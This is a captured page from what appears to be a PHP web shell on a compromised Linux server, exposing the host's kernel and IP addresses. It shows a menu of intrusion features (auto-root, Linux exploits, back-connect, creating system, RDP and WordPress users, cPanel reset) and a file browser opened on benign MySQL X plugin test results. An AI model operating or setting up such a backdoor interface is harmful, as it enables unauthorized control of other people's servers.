Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.15.10.50
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
x /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
admin_bogus.result
703
B
-rw-r--r--
admin_bogus_mysqlx.result
523
B
-rw-r--r--
admin_create_collection.result
3.53
KB
-rw-r--r--
admin_create_collection_mysqlx...
1.97
KB
-rw-r--r--
admin_create_index_datetime.re...
4.96
KB
-rw-r--r--
admin_create_index_datetime_my...
1.27
KB
-rw-r--r--
admin_create_index_string.resu...
12.64
KB
-rw-r--r--
admin_create_index_string_mysq...
2.28
KB
-rw-r--r--
admin_ensure_collection.result
3.49
KB
-rw-r--r--
admin_ensure_collection_mysqlx...
3.46
KB
-rw-r--r--
admin_kill.result
3.07
KB
-rw-r--r--
admin_kill_client_mysqlx.resul...
1.61
KB
-rw-r--r--
admin_list_objects.result
3.07
KB
-rw-r--r--
admin_list_objects_case_insens...
1.38
KB
-rw-r--r--
admin_list_objects_case_insens...
1.42
KB
-rw-r--r--
admin_list_objects_case_sensit...
1.25
KB
-rw-r--r--
admin_list_objects_case_sensit...
1.38
KB
-rw-r--r--
admin_list_objects_mysqlx.resu...
2
KB
-rw-r--r--
admin_ping.result
533
B
-rw-r--r--
admin_ping_mysqlx.result
1.21
KB
-rw-r--r--
admin_xkill.result
50.58
KB
-rw-r--r--
binary_log.result
1.07
KB
-rw-r--r--
bug_23028052.result
2.75
KB
-rw-r--r--
capabilities.result
21.04
KB
-rw-r--r--
client_close.result
32.63
KB
-rw-r--r--
client_close_abort.result
1.95
KB
-rw-r--r--
client_session.result
1.26
KB
-rw-r--r--
connection.result
39.97
KB
-rw-r--r--
connection_default_schema.resu...
2.2
KB
-rw-r--r--
connection_expire.result
6.42
KB
-rw-r--r--
connection_expired_certs.resul...
433
B
-rw-r--r--
connection_ipv6.result
4.22
KB
-rw-r--r--
connection_nonssl.result
3.69
KB
-rw-r--r--
connection_openssl.result
18.51
KB
-rw-r--r--
connection_require_secure_tran...
1.99
KB
-rw-r--r--
connection_reset_by_peer.resul...
818
B
-rw-r--r--
connection_skip_grant_table.re...
2.25
KB
-rw-r--r--
connection_skip_networking.res...
1.36
KB
-rw-r--r--
connection_skip_networking_win...
679
B
-rw-r--r--
connection_timeout.result
2.04
KB
-rw-r--r--
connection_tls_version.result
4.75
KB
-rw-r--r--
connection_unixsocket.result
7.49
KB
-rw-r--r--
connection_unixsocket_invalid....
2.57
KB
-rw-r--r--
connection_unixsocket_lock.res...
1.24
KB
-rw-r--r--
connection_unixsocket_rpl.resu...
9.81
KB
-rw-r--r--
connection_user_authentication...
3.91
KB
-rw-r--r--
connection_user_authentication...
3.22
KB
-rw-r--r--
connection_without_session.res...
373
B
-rw-r--r--
create_alter_sql.result
9.96
KB
-rw-r--r--
create_drop_collection_crud.re...
12.87
KB
-rw-r--r--
create_index_crud.result
62.48
KB
-rw-r--r--
crud_asterisk.result
1.88
KB
-rw-r--r--
crud_create_view.result
6.29
KB
-rw-r--r--
crud_debug.result
675
B
-rw-r--r--
crud_delete_args.result
1.12
KB
-rw-r--r--
crud_doc_criteria_args.result
26.62
KB
-rw-r--r--
crud_doc_expr_array.result
23.27
KB
-rw-r--r--
crud_doc_expr_object.result
8.33
KB
-rw-r--r--
crud_drop_view.result
1.32
KB
-rw-r--r--
crud_find_args.result
1.46
KB
-rw-r--r--
crud_find_doc_criteria.result
2.51
KB
-rw-r--r--
crud_find_doc_groupby.result
1.72
KB
-rw-r--r--
crud_find_groupby.result
1.43
KB
-rw-r--r--
crud_insert_args.result
779
B
-rw-r--r--
crud_insert_cast.result
11.9
KB
-rw-r--r--
crud_insert_default.result
3.51
KB
-rw-r--r--
crud_insert_expr.result
3.52
KB
-rw-r--r--
crud_insert_nodoc.result
610
B
-rw-r--r--
crud_modify_view.result
4.66
KB
-rw-r--r--
crud_myisam_memory.result
11.19
KB
-rw-r--r--
crud_octets_content_type.resul...
3.37
KB
-rw-r--r--
crud_order_by.result
2.19
KB
-rw-r--r--
crud_pipe.result
2.56
KB
-rw-r--r--
crud_resultset_metadata.result
990
B
-rw-r--r--
crud_rpl.result
9.24
KB
-rw-r--r--
crud_sundries.result
29.98
KB
-rw-r--r--
crud_table_criteria_args.resul...
20.3
KB
-rw-r--r--
crud_table_expr_array.result
23.29
KB
-rw-r--r--
crud_table_expr_object.result
7.4
KB
-rw-r--r--
crud_update_args.result
1.57
KB
-rw-r--r--
crud_update_table_json.result
9.3
KB
-rw-r--r--
crud_view_sundries.result
3.63
KB
-rw-r--r--
delete_crud_1.result
7.12
KB
-rw-r--r--
delete_crud_o.result
27.17
KB
-rw-r--r--
delete_del_all.result
1.68
KB
-rw-r--r--
delete_del_bad_collection.resu...
2.3
KB
-rw-r--r--
delete_del_bad_expr.result
2.07
KB
-rw-r--r--
delete_del_missing_arg.result
2.1
KB
-rw-r--r--
delete_del_multi_by_expr.resul...
2.06
KB
-rw-r--r--
delete_del_multi_by_id.result
1.89
KB
-rw-r--r--
delete_del_none_by_expr.result
2.07
KB
-rw-r--r--
delete_del_none_table.result
2.61
KB
-rw-r--r--
delete_del_one_by_expr.result
2.57
KB
-rw-r--r--
delete_del_table.result
2
KB
-rw-r--r--
delete_del_table_doc.result
3.23
KB
-rw-r--r--
delete_del_table_order.result
2.99
KB
-rw-r--r--
delete_sql_o.result
10.03
KB
-rw-r--r--
drop_index_crud.result
121.28
KB
-rw-r--r--
expect_noerror.result
6.95
KB
-rw-r--r--
fieldtypes_all.result
9.62
KB
-rw-r--r--
find_crud_conditionalclauses_o...
28.66
KB
-rw-r--r--
find_crud_groupby_o.result
16.74
KB
-rw-r--r--
find_doc_proj.result
10.47
KB
-rw-r--r--
find_doc_simple.result
6.66
KB
-rw-r--r--
find_docpath_expr.result
6.58
KB
-rw-r--r--
find_funtion_call.result
35.96
KB
-rw-r--r--
find_table_find.result
7.24
KB
-rw-r--r--
find_table_find_as_doc.result
5.46
KB
-rw-r--r--
find_table_find_rows_proj.resu...
6.6
KB
-rw-r--r--
forbidden_sql_cmd.result
1.9
KB
-rw-r--r--
input_queue.result
5.98
KB
-rw-r--r--
insert_crud_1.result
15.99
KB
-rw-r--r--
insert_crud_o.result
26.83
KB
-rw-r--r--
insert_doc_bad_proj.result
1.93
KB
-rw-r--r--
insert_doc_id.result
1.79
KB
-rw-r--r--
insert_doc_id_dup.result
2.82
KB
-rw-r--r--
insert_doc_noid.result
1.88
KB
-rw-r--r--
insert_sql_o.result
5.78
KB
-rw-r--r--
insert_table.result
8.56
KB
-rw-r--r--
insert_table_bad_column.result
2.41
KB
-rw-r--r--
insert_table_bad_column_type.r...
5.51
KB
-rw-r--r--
insert_table_bad_numcolumns.re...
5.98
KB
-rw-r--r--
insert_table_escape_identifier...
1.2
KB
-rw-r--r--
insert_table_missing_notnull_c...
1.28
KB
-rw-r--r--
insert_table_string_quoting.re...
1.33
KB
-rw-r--r--
installxplugin.result
12.81
KB
-rw-r--r--
killconnection.result
2.97
KB
-rw-r--r--
message_empty_payload.result
767
B
-rw-r--r--
message_protobuf_nested.result
839
B
-rw-r--r--
multiple_resultsets_and_out_pa...
7.4
KB
-rw-r--r--
mysql_session_user.result
3.22
KB
-rw-r--r--
mysqlx_server_var.result
8.7
KB
-rw-r--r--
mysqlxtest_help.result
8.06
KB
-rw-r--r--
notice_warning.result
6.78
KB
-rw-r--r--
notice_warning_mysqlx.result
1.12
KB
-rw-r--r--
notices_disable.result
71.66
KB
-rw-r--r--
notices_disable_mysqlx.result
11.56
KB
-rw-r--r--
notices_enable.result
216.67
KB
-rw-r--r--
notices_enable_mysqlx.result
63.76
KB
-rw-r--r--
performance_schema.result
16.42
KB
-rw-r--r--
performance_schema_memory.resu...
3.71
KB
-rw-r--r--
performance_schema_sockets.res...
16.04
KB
-rw-r--r--
performance_schema_threads.res...
3.92
KB
-rw-r--r--
performance_schema_unixsockets...
16.12
KB
-rw-r--r--
plugin_license.result
420
B
-rw-r--r--
regression.result
8.69
KB
-rw-r--r--
result_types.result
3.28
KB
-rw-r--r--
session_reset.result
1.8
KB
-rw-r--r--
status_bytes_received.result
326
B
-rw-r--r--
status_variable_errors_unknown...
1.93
KB
-rw-r--r--
status_variable_notices.result
765
B
-rw-r--r--
status_variables.result
6.32
KB
-rw-r--r--
status_variables_incrementing....
3.42
KB
-rw-r--r--
stmtexecute_query_no_result.re...
1.06
KB
-rw-r--r--
stmtexecute_query_result.resul...
1.99
KB
-rw-r--r--
stmtexecute_status_vars.result
20.87
KB
-rw-r--r--
stmtexecute_with_args.result
7.85
KB
-rw-r--r--
system_variable_bind_address.r...
1.74
KB
-rw-r--r--
system_variable_max_allowed_pa...
1.14
KB
-rw-r--r--
system_variable_min_worker_thr...
4.9
KB
-rw-r--r--
system_variable_port_open_time...
3.34
KB
-rw-r--r--
system_variables.result
1.46
KB
-rw-r--r--
update_crud_arrayappend_o.resu...
28.66
KB
-rw-r--r--
update_crud_arrayinsert_o.resu...
38.06
KB
-rw-r--r--
update_crud_itemmerge_o.result
31.89
KB
-rw-r--r--
update_crud_o.result
37.48
KB
-rw-r--r--
update_crud_remove_o.result
16.89
KB
-rw-r--r--
update_crud_replace_o.result
25.88
KB
-rw-r--r--
update_doc.result
30.18
KB
-rw-r--r--
update_sql_o.result
5.42
KB
-rw-r--r--
update_table.result
4.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_crud_o.result
============================================== CRUD UPDATE SCENARIOS ============================================== ================================================================================ PREAMBLE ================================================================================ install plugin mysqlx soname "mysqlx.so"; call mtr.add_suppression("Plugin mysqlx reported: .Failed at SSL configuration: .SSL context is not usable without certificate and private key.."); call mtr.add_suppression("Plugin mysqlx reported: .SSL_CTX_load_verify_locations failed."); create user updatecruduser@localhost identified by 'updatecruduser'; grant all on *.* to updatecruduser@localhost; ================================================================================ TEST START ================================================================================ RUN DROP SCHEMA if EXISTS mysqlxplugin 0 rows affected RUN CREATE SCHEMA mysqlxplugin DEFAULT CHARSET='utf8' 1 rows affected RUN USE mysqlxplugin 0 rows affected RUN CREATE TABLE categories ( CategoryID int NOT NULL AUTO_INCREMENT, CategoryName varchar(100), CategoryDescription varchar(200), CategoryIMEI tinyint, CategoryDecimal decimal(5,2), CategoryBool bit(1), PRIMARY key (CategoryID) ) 0 rows affected RUN INSERT INTO categories(CategoryID, CategoryName, CategoryDescription, CategoryIMEI, CategoryDecimal,CategoryBool) VALUES (1,'Sports','Sports related category',1,235.15,true), (2,'Entertaiment','Entertaiment related category',2,235.15,false), (3, 'Home','Home related category',3,235.15,true), (4, 'Kitchen','Kitchen related category',4,235.15,false), (5, 'Garden','Garden related category',5,535.15,true), (6, 'Toys','Toys related category',6,635.15,false) 6 rows affected last insert id: 6 Records: 6 Duplicates: 0 Warnings: 0 RUN SET SQL_SAFE_UPDATES = 1 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 0 0 rows affected Update varchar with where based in key column send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 1 } } } } operation { source { name: "CategoryName" } operation: SET value { type: LITERAL literal { type: V_STRING v_string { value: "SportsUpdate" } } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID=1 CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 1 SportsUpdate Sports related category 1 235.15 1 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 1 0 rows affected Update Tiny Int with where based in key column send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 1 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_SINT v_signed_int: 110 } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID=1 CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 1 SportsUpdate Sports related category 110 235.15 1 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 2 0 rows affected Update Decimal with where based in key column send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 1 } } } } operation { source { name: "CategoryDecimal" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 613.57 } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID in (1,2) CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 1 SportsUpdate Sports related category 110 613.57 1 2 Entertaiment Entertaiment related category 2 235.15 0 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 3 0 rows affected Update with Quotes value send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 2 } } } } operation { source { name: "CategoryDescription" } operation: SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"Quotes\"" } } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID=2 CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 2 Entertaiment "Quotes" 2 235.15 0 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 4 0 rows affected Update with NULL value send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 2 } } } } operation { source { name: "CategoryName" } operation: SET value { type: LITERAL literal { type: V_NULL } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID in (2,3) CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 2 null "Quotes" 2 235.15 0 3 Home Home related category 3 235.15 1 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 5 0 rows affected Update with Corner decimal value and != operator send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "!=" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 2 } } } } operation { source { name: "CategoryDecimal" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 999.99 } } } } 5 rows affected Rows matched: 5 Changed: 5 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID != 2 CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 1 SportsUpdate Sports related category 110 999.99 1 3 Home Home related category 3 999.99 1 4 Kitchen Kitchen related category 4 999.99 0 5 Garden Garden related category 5 999.99 1 6 Toys Toys related category 6 999.99 0 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 6 0 rows affected Update with Corner decimal value and "in" operator send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "in" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 3 } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } } } operation { source { name: "CategoryDecimal" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: -999.99 } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID in (3,4) CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 3 Home Home related category 3 -999.99 1 4 Kitchen Kitchen related category 4 -999.99 0 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 7 0 rows affected Update with Corner decimal value and != operator send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "!=" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 2 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 127 } } } } 5 rows affected Rows matched: 5 Changed: 5 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID != 2 CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 1 SportsUpdate Sports related category 127 999.99 1 3 Home Home related category 127 -999.99 1 4 Kitchen Kitchen related category 127 -999.99 0 5 Garden Garden related category 127 999.99 1 6 Toys Toys related category 127 999.99 0 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 8 0 rows affected Update with Corner decimal value and "in" operator send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "in" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } param { type: LITERAL literal { type: V_SINT v_signed_int: 5 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: -128 } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID in (4,5) CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 4 Kitchen Kitchen related category -128 -999.99 0 5 Garden Garden related category -128 999.99 1 0 rows affected RUN SHOW STATUS like 'Mysqlx_crud_update' Variable_name Value Mysqlx_crud_update 9 0 rows affected Mysqlx.Ok { msg: "bye!" } ok . #---------- TEST WITH SAFE MODE OFF ----------# . RUN USE mysqlxplugin 0 rows affected RUN SET SQL_SAFE_UPDATES = 0 0 rows affected Update with wrong schema name send Mysqlx.Crud.Update { collection { name: "categories" schema: "noschemalikethis" } data_model: TABLE criteria { type: OPERATOR operator { name: "in" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } param { type: LITERAL literal { type: V_SINT v_signed_int: 5 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 101 } } } } Mysqlx.Error { severity: ERROR code: 1146 msg: "Table \'noschemalikethis.categories\' doesn\'t exist" sql_state: "42S02" } Update with wrong table name send Mysqlx.Crud.Update { collection { name: "notablelikethis" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "in" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } param { type: LITERAL literal { type: V_SINT v_signed_int: 5 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 101.02 } } } } Mysqlx.Error { severity: ERROR code: 1146 msg: "Table \'mysqlxplugin.notablelikethis\' doesn\'t exist" sql_state: "42S02" } Update with wrong column name send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "in" param { type: IDENT identifier { name: "nocolumnname" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } param { type: LITERAL literal { type: V_SINT v_signed_int: 5 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 101 } } } } Mysqlx.Error { severity: ERROR code: 1054 msg: "Unknown column \'nocolumnname\' in \'where clause\'" sql_state: "42S22" } Update decimal value with a corner value plus 1 send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } } } operation { source { name: "CategoryDecimal" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 1000 } } } } Got expected error: Out of range value for column 'CategoryDecimal' at row 1 (code 1264) Update tiny int value with a corner value plus 1 send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: -129 } } } } Got expected error: Out of range value for column 'CategoryIMEI' at row 1 (code 1264) Update multiple column RUN select * from mysqlxplugin.categories where CategoryID=4 CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 4 Kitchen Kitchen related category -128 -999.99 0 0 rows affected send Mysqlx.Crud.Update { collection { name: "categories" schema: "mysqlxplugin" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "CategoryID" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } } } operation { source { name: "CategoryIMEI" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: -99 } } } operation { source { name: "CategoryDecimal" } operation: SET value { type: LITERAL literal { type: V_DOUBLE v_double: 501.11 } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN select * from mysqlxplugin.categories where CategoryID=4 CategoryID CategoryName CategoryDescription CategoryIMEI CategoryDecimal CategoryBool 4 Kitchen Kitchen related category -99 501.11 0 0 rows affected Mysqlx.Ok { msg: "bye!" } ok RUN SET SQL_SAFE_UPDATES = 0 0 rows affected RUN DROP SCHEMA if EXISTS mysqlxcoll 0 rows affected RUN CREATE SCHEMA mysqlxcoll 1 rows affected RUN USE mysqlxcoll 0 rows affected RUN CREATE TABLE maincoll (doc JSON, _id VARCHAR(32) NOT NULL PRIMARY KEY) 0 rows affected RUN INSERT INTO maincoll (doc, _id) values ('{"_id": "1", "name": "Victor", "last_name": "Otero","amount": 4.99}',json_unquote(json_extract(doc, '$._id'))) 1 rows affected RUN INSERT INTO maincoll (doc, _id) values ('{"_id": "2", "name": "Gonzalo", "last_name": "Chrystens","amount": 120.57}',json_unquote(json_extract(doc, '$._id'))) 1 rows affected RUN INSERT INTO maincoll (doc, _id) values ('{"_id": "3", "name": "Abraham", "last_name": "Vega","amount": 74.56}',json_unquote(json_extract(doc, '$._id'))) 1 rows affected RUN INSERT INTO maincoll (doc, _id) values ('{"_id": "4", "name": "Jennifer", "last_name": "Leon","amount": 387.14}',json_unquote(json_extract(doc, '$._id'))) 1 rows affected RUN INSERT INTO maincoll (doc, _id) values ('{"_id": "5", "name": "Jhonny", "last_name": "Test","amount": 125.45}',json_unquote(json_extract(doc, '$._id'))) 1 rows affected Update a valid collection with string value and > operator for multiple docs send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: ">" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "3" } } } } } operation { source { document_path { type: MEMBER value: "name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"xtest_>\"" } } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN select * from maincoll doc _id {"_id": "1", "name": "Victor", "amount": 4.99, "last_name": "Otero"} 1 {"_id": "2", "name": "Gonzalo", "amount": 120.57, "last_name": "Chrystens"} 2 {"_id": "3", "name": "Abraham", "amount": 74.56, "last_name": "Vega"} 3 {"_id": "4", "name": "\"xtest_>\"", "amount": 387.14, "last_name": "Leon"} 4 {"_id": "5", "name": "\"xtest_>\"", "amount": 125.45, "last_name": "Test"} 5 0 rows affected Update a valid collection with string value and > operator for multiple docs send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: "<" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "3" } } } } } operation { source { document_path { type: MEMBER value: "name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"xtest_<\"" } } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN select * from maincoll doc _id {"_id": "1", "name": "\"xtest_<\"", "amount": 4.99, "last_name": "Otero"} 1 {"_id": "2", "name": "\"xtest_<\"", "amount": 120.57, "last_name": "Chrystens"} 2 {"_id": "3", "name": "Abraham", "amount": 74.56, "last_name": "Vega"} 3 {"_id": "4", "name": "\"xtest_>\"", "amount": 387.14, "last_name": "Leon"} 4 {"_id": "5", "name": "\"xtest_>\"", "amount": 125.45, "last_name": "Test"} 5 0 rows affected Update a valid collection with string value and <= operator for multiple docs send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: "<=" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "3" } } } } } operation { source { document_path { type: MEMBER value: "name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"xtest_<=\"" } } } } } 3 rows affected Rows matched: 3 Changed: 3 Warnings: 0 RUN select * from maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "Otero"} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "Chrystens"} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "Vega"} 3 {"_id": "4", "name": "\"xtest_>\"", "amount": 387.14, "last_name": "Leon"} 4 {"_id": "5", "name": "\"xtest_>\"", "amount": 125.45, "last_name": "Test"} 5 0 rows affected Update a valid collection with string value and >= operator for multiple docs send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: ">=" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "4" } } } } } operation { source { document_path { type: MEMBER value: "name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"xtest_>=\"" } } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN select * from maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "Otero"} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "Chrystens"} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "Vega"} 3 {"_id": "4", "name": "\"xtest_>=\"", "amount": 387.14, "last_name": "Leon"} 4 {"_id": "5", "name": "\"xtest_>=\"", "amount": 125.45, "last_name": "Test"} 5 0 rows affected Update a valid collection with string value and != operator for multiple docs send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: "!=" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "2" } } } } } operation { source { document_path { type: MEMBER value: "last_name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"xtest_!=\"" } } } } } 4 rows affected Rows matched: 4 Changed: 4 Warnings: 0 RUN select * from maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "\"xtest_!=\""} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "Chrystens"} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "\"xtest_!=\""} 3 {"_id": "4", "name": "\"xtest_>=\"", "amount": 387.14, "last_name": "\"xtest_!=\""} 4 {"_id": "5", "name": "\"xtest_>=\"", "amount": 125.45, "last_name": "\"xtest_!=\""} 5 0 rows affected Update order clause update last _id in desc order (_id = 5) send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: "!=" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "0" } } } } } limit { row_count: 1 } order { expr { type: IDENT identifier { name: "_id" } } direction: DESC } operation { source { document_path { type: MEMBER value: "last_name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"Limit1OrderDesc\"" } } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN select * from maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "\"xtest_!=\""} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "Chrystens"} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "\"xtest_!=\""} 3 {"_id": "4", "name": 